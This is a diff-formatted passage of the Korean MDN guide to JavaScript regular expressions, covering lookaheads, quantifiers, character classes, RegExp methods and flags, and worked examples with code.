+ <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+ <td>
+ <p>오직 'y'가 뒤따라오는 'x'에만 대응됩니다. 이것은 lookahead 라고 불립니다.</p>
+
+ <p>예를 들어, <code>/Jack(?=Sprat)/</code> 는 'Sprat'가 뒤따라오는 'Jack' 에만 대응됩니다. <code>/Jack(?=Sprat|Frost)/</code>는 'Sprat' 또는 'Frost'가 뒤따라오는 'Jack'에만 대응됩니다. 그러나, 'Sprat' 및 'Frost' 는 대응 결과의 일부가 아닙니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+ <td>
+ <p>'x'뒤에  'y'가 없는경우에만 'x'에 일치합니다. 이것은 negated lookahead 라고 불립니다.</p>
+
+ <p>예를 들어, <code>/\d+(?!\.)/</code>는 소숫점이 뒤따라오지 않는 숫자에 일치합니다. 정규식 <code>/\d+(?!\.)/.exec("3.141")</code>는 '3.141' 이 아닌 '141'에 일치합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+ <td>
+ <p>'x' 또는 'y'에 대응됩니다.</p>
+
+ <p>예를 들어, <code>/green|red/</code>는 "green apple"의 'green'에 대응되고, "red apple."의 'red'에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+ <td>앞 표현식이 n번 나타나는 부분에 대응됩니다. n은 반드시 양의 정수여야 합니다.<br>
+ <br>
+ 예를 들어, <code>/a{2}/</code>는 "candy,"의 'a'에는 대응되지 않지만, "caandy,"의 모든 a 와, "caaandy."의 첫 두 a 에는 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+ <td>
+ <p><code>n</code>과 <code>m</code>은 양의 정수이고, <code>n &lt;= m</code>를 만족해야 합니다. 앞 문자가 최소 <code>n</code>개, 최대 <code>m</code>개가 나타나는 부분에 대응됩니다. <code>m</code>이 생략된다면, m은 ∞로 취급됩니다.</p>
+
+ <p>예를 들어, <code>/a{1,3}/</code>는 "cndy"에서 아무것에도 대응되지 않지만, "caandy,"의 첫 두 a 와 "caaaaaaandy"의 첫 세 a 에 대응됩니다. "caaaaaaandy"에서 더 많은 a 들이 있지만, "aaa"에만 대응된다는 점에 주목하세요.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+ <td>문자셋(Character set) 입니다. 이 패턴 타입은 괄호 안의 어떤 문자(<a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">이스케이프 시퀀스</a>까지 포함)와도 대응됩니다. 점(<code>.</code>) 이나 별표 (<code>*</code>) 같은 특수 문자는 문자셋 내부에서는 특수 문자가 아닙니다. 따라서 이스케이프시킬 필요가 없습니다. 하이픈을 이용하여 문자의 범위를 지정해줄 수 있습니다.<br>
+ <br>
+ 예를 들어, 패턴 <code> [a-d]</code> 는 패턴 <code>[abcd]</code> 와 똑같이 동작하며, "brisket"의 'b' 에 일치하고, "city"의 'c' 에 일치합니다. 패턴 <code>/[a-z.]+/ </code> 와 <code>/[\w.]+/</code> 는 "test.i.ng" 전체 문자열이 일치합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+ <td>
+ <p>부정 문자셋(negated character set) 또는 보충 문자셋(complemented character set)입니다. 괄호 내부에 등장하지 않는 어떤 문자와도 대응됩니다. 하이픈을 이용하여 문자의 범위를 지정할 수 있습니다. 일반적인 문자셋에서 작동하는 모든 것은 여기에서도 작동합니다.</p>
+
+ <p>예를 들어, 패턴<code>[^abc]</code>는 패턴<code>[^a-c]</code>와 동일합니다. 두 패턴은 "brisket"의 'r', "chop."의 'h' 에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+ <td>백스페이스(U+0008)에 대응됩니다. 이와 같이, 백스페이스 문자 리터럴에 대응시키려면, 대괄호("[]")를 이용해야만 합니다. (<code>\b</code>와 혼동하지 마세요.)</td>
+ </tr>
+ <tr>
+ <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+ <td>
+ <p>단어 경계에 대응됩니다. 단어 경계는 다른 '단어 문자'가 앞이나 뒤에 등장하지 않는 위치에 대응됩니다. 단어의 경계는 대응 결과에 포함되지 않는다는 사실에 주의하세요. 다른 말로는, 단어의 경계에 대응되는 문자열의 길이는 항상 0입니다. (패턴 <code>[\b]</code>와 혼동하지 마세요.)</p>
+
+ <p>예제:<br>
+ <code>/\bm/</code>는 "moon"의 'm'에 대응됩니다;<br>
+ <code>/oo\b/</code> 는 "moon"의 'oo' 부분에 대응되지 않는데, 왜냐하면 'oo'를 뒤따라오는 'n'이 단어 문자이기 때문입니다;<br>
+ <code>/oon\b/</code>는 "moon"의 'oon'에 대응됩니다. 왜냐하면, 'oon'은 문자열의 끝이라서, 뒤따라오는 단어 문자가 없기 때문입니다 ;<br>
+ <code>/\w\b\w/</code>는 어떤 것에도 일치하지 않습니다. 왜냐하면, 단어 문자는 절대로 비 단어 문자와 단어 문자 두개가 뒤따라올수 없기 때문입니다.</p>
+
+ <div class="note">
+ <p><strong>숙지하세요:</strong> 자바스크립트의 정규식 엔진은 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">특정 문자 집합</a>을 '단어 문자'로 정의합니다. 이 집단에 속하지 않는 모든 문자는 단어 분리(word break) 로 여겨집니다. 단어 문자로 간주되는 문자들은 얼마 없습니다: 오로지 로마자 소문자와 대문자, 10진수 숫자, 밑줄 문자로 구성되어 있습니다. "é" 또는 "ü" 같이, 강세 표시 문자들은 안타깝게도 단어 분리(word breaks) 로 취급됩니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+ <td>
+ <p>단어 경계가 아닌 부분에 대응됩니다. 아래와 같은 경우들이 있습니다:</p>
+
+ <ul>
+ <li>문자열의 첫 번째 문자가 단어 문자가 아닌 경우, 해당 문자의 앞 부분에 대응됩니다.</li>
+ <li>문자열의 마지막 문자가 단어 문자가 아닌 경우, 해당 문자의 뒷 부분에 대응됩니다.</li>
+ <li>두 단어 문자의 사이에 대응됩니다.</li>
+ <li>단어 문자가 아닌 두 문자 사이에 대응됩니다.</li>
+ <li>빈 문자열에 대응됩니다.</li>
+ </ul>
+
+ <p>문자열의 시작 부분과 끝 부분은 단어가 아닌 것으로 간주됩니다.</p>
+
+ <p>예를 들어, <code>/\B../</code> 는 "noonday"의 'oo'와 대응되며, <code>/y\B./</code> 는 "possibly yesterday."의 'ye'와 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+ <td>
+ <p>문자열 내부의 제어 문자에 대응됩니다. 여기서 <em>X</em>는 A에서 Z까지의 문자 중 하나입니다.</p>
+
+ <p>예를 들어, <code>/\cM/</code>는 문자열에서 control-M (U+000D)에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+ <td>
+ <p>숫자 문자에 대응됩니다. <code>[0-9]</code>와 동일합니다.</p>
+
+ <p>예를 들어, <code>/\d/</code> 또는 <code>/[0-9]/</code>는 "B2 is the suite number."에서 '2'에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+ <td>
+ <p>숫자 문자가 아닌 문자에 대응됩니다. <code>[^0-9]</code>와 동일합니다.</p>
+
+ <p>예를 들어, <code>/\D/</code> 또는 <code>/[^0-9]/</code>는 "B2 is the suite number."의 'B'에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-form-feed" id="special-form-feed" name="special-form-feed"><code>\f</code></a></td>
+ <td>폼피드 (U+000C) 문자에 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+ <td>줄 바꿈 (U+000A) 문자에 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+ <td>캐리지 리턴(U+000D) 문자에 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+ <td>
+ <p>스페이스, 탭, 폼피드, 줄 바꿈 문자등을 포함한 하나의 공백 문자에 대응됩니다. <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.와 동일합니다.</p>
+
+ <p>예를 들어, <code>/\s\w*/</code>는 "foo bar."의 ' bar'에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+ <td>
+ <p>공백 문자가 아닌 하나의 문자에 대응됩니다. <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. 와 동일합니다.</p>
+
+ <p>예를 들어, <code>/\S\w*/</code>는 "foo bar."의 'foo' 에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+ <td>탭 (U+0009) 문자에 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
+ <td>수직 탭(U+000B) 문자에 대응됩니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+ <td>
+ <p>밑줄 문자를 포함한 영숫자 문자에 대응됩니다. <code>[A-Za-z0-9_]</code> 와 동일합니다. (역주: 여기에 대응되는 문자를 단어 문자라고 합니다.)</p>
+
+ <p>예를 들어, <code>/\w/</code>는 "apple,"의 'a' 에 대응되고, "$5.28,"의 '5'에 대응되고,"3D."의 '3'에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+ <td>
+ <p>단어 문자가 아닌 문자에 대응됩니다. <code>[^A-Za-z0-9_]</code> 와 동일합니다.</p>
+
+ <p>예를 들어, <code>/\W/</code> 또는 <code>/[^A-Za-z0-9_]/</code>는 "50%."의 '%' 에 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+ <td>
+ <p>정규식 내부의 <em>n</em>번째 괄호에서 대응된 부분에 대한 역참조 입니다. 여기서, <em>n은 양의 정수입니다.</em></p>
+
+ <p>예를 들어, <code>/apple(,)\sorange\1/</code>는 "apple, orange, cherry, peach."의 'apple, orange,' 에 일치합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+ <td>널 (U+0000)문자에 대응합니다. 이 때 다른 숫자를 뒤에 쓰지 마세요. 왜냐하면 <code>\0&lt;digits&gt;</code>는 8진 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">이스케이프 시퀀스</a>이기 때문입니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+ <td>코드가 hh(두 16진 숫자)인 문자에 일치합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+ <td>코드가 hhhh(네개의 16진 숫자)인 문자에 일치합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>사용자 입력을 이스케이프해서 정규식 내부에서 문자 그대로 취급해야 하는 경우, 간단히 치환을 하면 됩니다:</p>
+
+<pre class="brush: js">function escapeRegExp(string){
+ return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&amp;"); // $&amp;는 일치한 전체 문자열을 의미합니다.
+}</pre>
+
+<h3 id="괄호를_사용하기">괄호를 사용하기</h3>
+
+<p>정규식 내부의 일부를 둘러싼 괄호는, 해당 부분에서 대응된 문자열을 기억하는 효과를 갖습니다. 기억된 문자열은 이후 {{ web.link("#.ED.8C.A8.ED.84.B4.ED.99.94.EB.90.9C_.EB.B6.80.EB.B6.84_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.9D.BC.EC.B9.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0", "패턴화된 부분 문자열 일치 사용하기") }}에서 설명한 것처럼 다른 곳에서 사용하기 위하여 불러와질 수 있습니다.</p>
+
+<p>예를 들면, 패턴 <code>/Chapter (\d+)\.\d*/</code>는 패턴의 일부분이 기억될 거라는 사실을 나타냅니다. 이 패턴은 하나 이상의 숫자(<code>\d</code>는 숫자를 의미하고 <code>+</code>는 1개 이상을 의미합니다.) 이후에 하나의 소숫점(\가 앞에 붙은 소숫점은 문자 그대로의 문자 '.' 에 대응됨을 나타냅니다), 그뒤 0개 이상의 숫자(<code>\d</code> 는 숫자, <code>*</code> 는 0개 이상을 의미합니다.)가 뒤따라오는 'Chapter ' 문자열에 대응됩니다. 더해서, 괄호는 처음으로 일치하는 숫자 문자들을 기억하기 위하여 사용되었습니다.</p>
+
+<p>이 패턴은 "Open Chapter 4.3, paragraph 6"에 나타나며, '4'가 기억됩니다. 이 패턴은 "Chapter 3 and 4"에는 나타나지 않습니다. 왜냐하면 문자열이 '3'이후에 마침표를 가지고 있지 않기 때문입니다.</p>
+
+<p>부분 문자열을 대응시키면서도 해당 부분을 기억하지 않으려면, 괄호의 첫머리에 <code>?:</code>패턴을 사용하세요. 예를 들어, <code>(?:\d+)</code>는 1개 이상의 숫자에 대응되지만 해당 문자들을 기억하지 않습니다.</p>
+
+<h2 id="정규식_사용하기">정규식 사용하기</h2>
+
+<p>정규식은 <code>RegExp,</code> <code>test,</code> <code>exec,</code> <code>String,</code> <code>match</code>, <code>replace</code>, <code>search</code>, <code>split</code> 메소드와 함께 쓰입니다. 이 메소드는 <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>에서 잘 설명되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>정규식에서 쓰이는 메소드</caption>
+ <thead>
+ <tr>
+ <th scope="col">Method</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("RegExp.exec", "exec")}}</td>
+ <td>대응되는 문자열을 찾는 <code style="font-style: normal;">RegExp</code><span style="background-color: rgba(212, 221, 228, 0.14902);"> 메소드입니다</span>. 정보를 가지고 있는 배열을 반환합니다. 대응되는 문자열을 찾지 못했다면 null을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("RegExp.test", "test")}}</td>
+ <td>대응되는 문자열이 있는지 검사하는 <code style="font-style: normal;">RegExp</code><strong style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-weight: bold;"> </strong>메소드 입니다. true 나 false를 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.match", "match")}}</td>
+ <td>대응되는 문자열을 찾는 <code style="font-style: normal;">RegExp</code><span style="background-color: rgba(212, 221, 228, 0.14902);"> 메소드입니다</span>. 정보를 가지고 있는 배열을 반환합니다. 대응되는 문자열을 찾지 못했다면 null을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.search", "search")}}</td>
+ <td>
+ <p class="syntaxbox">대응되는 문자열이 있는지 검사하는 <code style="font-style: normal;">String</code><strong style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-weight: bold;"> </strong>메소드 입니다. 대응된 부분의 인덱스를 반환합니다. 대응되는 문자열을 찾지 못했다면 -1을 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.replace", "replace")}}</td>
+ <td>대응되는 문자열을 찾아 다른 문자열로 치환하는 <code>String</code> 메소드입니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.split", "split")}}</td>
+ <td>정규식 혹은 문자열로 대상 문자열을 나누어 배열로 반환하는 <code>String</code> 메소드입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>문자열 내부에 패턴과 대응되는 부분이 있는지 알고 싶다면, <code>test</code> 나 <code>search</code> 메소드를 사용하세요; 좀 더 많은 정보를 원하면 (대신 실행이 느림)  <code>exec</code> 나 <code>match</code> 메소드를 사용하세요. 만약 <code>exec</code> 나 <code>match</code> 메소드를 사용했는데 대응되는 부분이 있다면, 이 메소드는 배열을 반환하고 정규식 객체의 속성을 업데이트 합니다. 만약 대응되는 부분이 없다면, <code>exec</code> 메소드는 <code>null</code> 을 반환합니다. (즉, <code>false</code>와 같은 의미로 사용될 수 있습니다.).</p>
+
+<p>아래의 예에서는, 문자열 내부에서 대응되는 부분을 찾기 위해 <code>exec</code> 메소드를 사용했습니다.</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>만약 정규식 속성에 접근할 필요가 없다면, 아래와 같이 <code>myArray</code>를 만드는 다른 방법도 있습니다:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+</pre>
+
+<p>문자열로부터 정규식을 만들고 싶다면, 이런 방법도 있습니다:</p>
+
+<pre class="brush: js">var myRe = new RegExp("d(b+)d", "g");
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>위의 스크립트에서는, 대응되는 부분이 발견되었고 아래의 표에서 설명하는 대로 배열을 반환하며 속성을 갱신합니다.</p>
+
+<table class="standard-table" style="height: 299px; width: 1168px;">
+ <caption>정규식 실행결과</caption>
+ <thead>
+ <tr>
+ <th scope="col">Object</th>
+ <th scope="col">Property or index</th>
+ <th scope="col">Description</th>
+ <th scope="col">In this example</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td rowspan="4"><code>myArray</code></td>
+ <td></td>
+ <td>대응된 문자열 및 기억한 모든 부분 문자열</td>
+ <td><code>['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']</code></td>
+ </tr>
+ <tr>
+ <td><code>index</code></td>
+ <td>입력된 문자열에서 대응된 부분에 해당하는 인덱스 (0부터 시작)</td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <td><code>input</code></td>
+ <td>입력된 원본 문자열</td>
+ <td><code>"cdbbdbsbz"</code></td>
+ </tr>
+ <tr>
+ <td><code>[0]</code></td>
+ <td>마지막으로 대응된 문자열</td>
+ <td><code>"dbbd"</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2"><code>myRe</code></td>
+ <td><code>lastIndex</code></td>
+ <td>다음 검색 시 검색을 시작할 인덱스 (이 속성은 g 옵션을 설정한 정규식에 대해서만 설정됩니다. 자세한 사항은 {{ web.link("#Advanced_searching_with_flags", "Advanced Searching With Flags") }} 부분을 참고하세요.)</td>
+ <td><code>5</code></td>
+ </tr>
+ <tr>
+ <td><code>source</code></td>
+ <td>패턴 문자열. 정규식이 생성될 때 갱신됩니다. 실행 시점에는 갱신되지 않습니다.</td>
+ <td><code>"d(b+)d"</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위 예제에서의 두 번째 형태처럼, 정규식 객체를 변수에 대입하지 않고도 사용할 수 있습니다. 하지만, 이렇게 하면 정규식 객체가 매번 새로 생성됩니다. 이러한 이유로, 만약 변수에 대입하지 않는 형태를 사용하는 경우 나중에 그 정규식의 속성에 접근할 수 없게 됩니다. 예를 들어, 이러한 스크립트가 있을 수 있습니다:</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + myRe.lastIndex);
+
+// "The value of lastIndex is 5"
+</pre>
+
+<p>그러나, 만약 이러한 스크립트가 있으면:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);
+
+// "The value of lastIndex is 0"
+</pre>
+
+<p>두 구문에서의 <code>/d(b+)d/g</code> 는 서로 다른  정규식 객체이고, 따라서 별개의 <code>lastIndex</code> 속성을 갖게 됩니다. 정규식 객체의 속성을 사용해야 하는 경우라면, 먼저 변수에 대입하세요.</p>
+
+<h3 id="괄호로_둘러싼_패턴_사용하기">괄호로 둘러싼 패턴 사용하기</h3>
+
+<p>정규식 패턴에 괄호를 사용하면, 그 부분을 별도로 대응시키면서 대응된 부분을 기억합니다. 예를 들면, <code>/a(b)c/</code> 는 'abc' 와 대응되면서 'b'를 기억합니다. 괄호로 감싸진 문자열을 불러오려면, 배열 요소 <code>[1]</code>, ..., <code>[n]</code> 를 사용하세요.</p>
+
+<p>괄호로 감쌀 수 있는 문자의 개수에는 제한이 없습니다. 반환된 배열은 찾아낸 모든 것들을 갖고 있습니다. 다음의 예는 괄호로 둘러싸진 부분이 어떻게 대응되는지 보여줍니다.</p>
+
+<p>다음의 예는 문자열 내부의 단어를 바꾸기 위해 {{jsxref("String.replace", "replace()")}} 메소드를 이용하고 있습니다. 치환 문자열로는 <code>$1</code> 과 <code>$2</code> 를 사용하고 있는데, 이는 각각 첫 번째와 두 번째 괄호가 쳐진 부분에 대응된 문자열을 가리킵니다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = "John Smith";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+
+// "Smith, John"
+</pre>
+
+<h3 id="플래그를_사용한_고급검색">플래그를 사용한 고급검색</h3>
+
+<p>정규식은 여섯 개의 플래그를 설정해줄 수 있으며, 이를 통해 전역 검색 또는 대소문자 구분 없는 검색을 수행할 수 있습니다. 이 플래그들은 각기 사용될 수도 있고 함께 사용될 수도 있고 순서에 구분이 없습니다.</p>
+
+<table class="standard-table">
+ <caption>Regular expression flags</caption>
+ <thead>
+ <tr>
+ <th scope="col">Flag</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>g</code></td>
+ <td>전역 검색</td>
+ </tr>
+ <tr>
+ <td>i</td>
+ <td>대소문자 구분 없는 검색</td>
+ </tr>
+ <tr>
+ <td>m</td>
+ <td>다중행(multi-line) 검색</td>
+ </tr>
+ <tr>
+ <td>s</td>
+ <td><code>.</code>에 개행 문자도 매칭(ES2018)</td>
+ </tr>
+ <tr>
+ <td>u</td>
+ <td>유니코드; 패턴을 유니코드 코드 포인트의 나열로 취급합니다.</td>
+ </tr>
+ <tr>
+ <td>y</td>
+ <td>"sticky" 검색을 수행. 문자열의 현재 위치부터 검색을 수행합니다. {{jsxref("RegExp.sticky", "sticky")}} 문서를 확인하세요.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>정규식에 플래그를 포함시키려면, 아래 문법을 사용하세요:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>혹은 아래와 같이 할 수도 있습니다:</p>
+
+<pre class="brush: js">var re = new RegExp("pattern", "flags");
+</pre>
+
+<p>이 플래그는 정규식에 합쳐지는 정보임을 기억하는게 좋습니다. 이것들은 나중에 추가되거나 제거될 수 없습니다.</p>
+
+<p>예를 들어, <code>re = /\w+\s/g</code> 는 한 개 이상의 문자열 뒤에 공백이 하나 있는 패턴을 찾는 정규식을 생성합니다. 그리고 문자열 전체에 걸쳐 이 조합을 검색합니다.</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+var str = "fee fi fo fum";
+var myArray = str.match(re);
+console.log(myArray);
+
+// ["fee ", "fi ", "fo "]
+</pre>
+
+<p>아래 코드는:</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+</pre>
+
+<p>이렇게 바꿔쓸 수 있습니다:</p>
+
+<pre class="brush: js">var re = new RegExp("\\w+\\s", "g");
+</pre>
+
+<p>그리고 똑같은 결과를 얻습니다.</p>
+
+<p> <code>.exec()</code> 메소드를 사용할 때에는 '<strong><code>g</code></strong>' 플래그에 대한 동작이 다릅니다.  ("클래스"와 "인수"의 역할이 뒤바뀝니다:  <code>.match()</code>를 사용할 때는, string 클래스가 메소드를 갖고 정규식은 인수였던 것에 반해, <code>.exec()</code>를 사용할 때는 정규식이 메소드를 갖고 문자열이 인수가 됩니다. <em><code>str.match(re)</code></em> 과 <em><code>re.exec(str)</code></em>를 비교해보세요.)  '<code><strong>g</strong></code>' 플래그와  <strong><code>.exec()</code></strong> 메소드가 함께 사용되면 진행상황에 대한 정보가 반환됩니다.</p>
+
+<pre><code>var xArray; while(xArray = re.exec(str)) console.log(xArray);
+// 다음과 같이 출력됩니다:
+// ["fee ", index: 0, input: "fee fi fo fum"]
+// ["fi ", index: 4, input: "fee fi fo fum"]
+// ["fo ", index: 7, input: "fee fi fo fum"]</code></pre>
+
+<p><code>m</code> 플래그는 여러 줄의 입력 문자열이 실제로 여러 줄로서 다뤄져야 하는 경우에 쓰입니다. 만약 <code>m</code> 플래그가 사용되면, <code>^</code> 와 <code>$</code> 문자는 전체 문자열의 시작과 끝에 대응되는 것이 아니라 각 라인의 시작과 끝에 대응됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음의 예는 정규 표현식의 몇 가지 사용법을 보여줍니다.</p>
+
+<h3 id="입력_문자열에서_순서를_변경하기">입력 문자열에서 순서를 변경하기</h3>
+
+<p>다음 예는 정규식의 , <code>string.split()과</code> <code>string.replace()</code>의 사용을 설명합니다. 그것은 공백, 탭과 정확히 하나의 세미콜론의 구분으로 이름(이름을 먼저)이 포함된 대략 형식의 입력 문자열을 정리합니다. 마지막으로, 순서(성을 먼저)를 뒤바꾸고 목록을 정렬합니다.</p>
+
+<pre class="brush: js">// The name string contains multiple spaces and tabs,
+// and may have multiple spaces between first and last names.
+var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Original String\n", names + "\n"];
+
+// Prepare two regular expression patterns and array storage.
+// Split the string into array elements.
+
+// pattern: possible white space then semicolon then possible white space
+var pattern = /\s*;\s*/;
+
+// Break the string into pieces separated by the pattern above and
+// store the pieces in an array called nameList
+var nameList = names.split(pattern);
+
+// new pattern: one or more characters then spaces then characters.
+// Use parentheses to "memorize" portions of the pattern.
+// The memorized portions are referred to later.
+pattern = /(\w+)\s+(\w+)/;
+
+// New array for holding names being processed.
+var bySurnameList = [];
+
+// Display the name array and populate the new array
+// with comma-separated names, last first.
+//
+// The replace method removes anything matching the pattern
+// and replaces it with the memorized string—second memorized portion
+// followed by comma space followed by first memorized portion.
+//
+// The variables $1 and $2 refer to the portions
+// memorized while matching the pattern.
+
+output.push("---------- After Split by Regular Expression");
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++){
+ output.push(nameList[i]);
+ bySurnameList[i] = nameList[i].replace(pattern, "$2, $1");
+}
+
+// Display the new array.
+output.push("---------- Names Reversed");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+ output.push(bySurnameList[i]);
+}
+
+// Sort by last name, then display the sorted array.
+bySurnameList.sort();
+output.push("---------- Sorted");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+ output.push(bySurnameList[i]);
+}
+
+output.push("---------- End");
+
+console.log(output.join("\n"));
+</pre>
+
+<h3 id="입력을_확인하기_위해_특수_문자를_사용하기">입력을 확인하기 위해 특수 문자를 사용하기</h3>
+
+<p>다음 예에서, 사용자는 전화번호를 입력 할 것으로 예상됩니다. 사용자가 "Check" 버튼을 누를 때, 스크립트는 번호의 유효성을 검사합니다. 번호가 유효한 경우(정규식에 의해 지정된 문자 시퀀스와 일치합니다), 스크립트는 사용자에게 감사하는 메시지와 번호를 확인하는 메시지를 나타냅니다. 번호가 유효하지 않은 경우, 스크립트는 전화번호가 유효하지 않다는 것을 사용자에게 알립니다.</p>
+
+<p>비 캡처링 괄호 <code>(?:</code> , 정규식은 세 자리 숫자를 찾습니다 <code>\d{3}</code> OR <code>|</code> 왼쪽 괄호<code>\(</code> 세 자리 숫자 다음에 <code>\d{3}</code>, 닫는 괄호 다음에 <code>\)</code>, (비 캡처링 괄호를 종료<code>)</code>) 안에, 하나의 대시, 슬래시, 또는 소수점을 다음과 같이 발견했을 때,  세 자리 숫자 다음에 <code>d{3}</code>, 대시의 기억 매치, 슬래시, 또는 소수점 다음에 <code>\1</code>, 네 자리 숫자 다음에 <code>\d{4}</code> 문자를 기억합니다<strong><font face="Courier New">([-\/\.])</font></strong>.</p>
+
+<p>사용자가 &lt;Enter&gt; 키를 누를 때 활성화 <code>변경</code> 이벤트는 <code>RegExp.input</code>의 값을 설정합니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
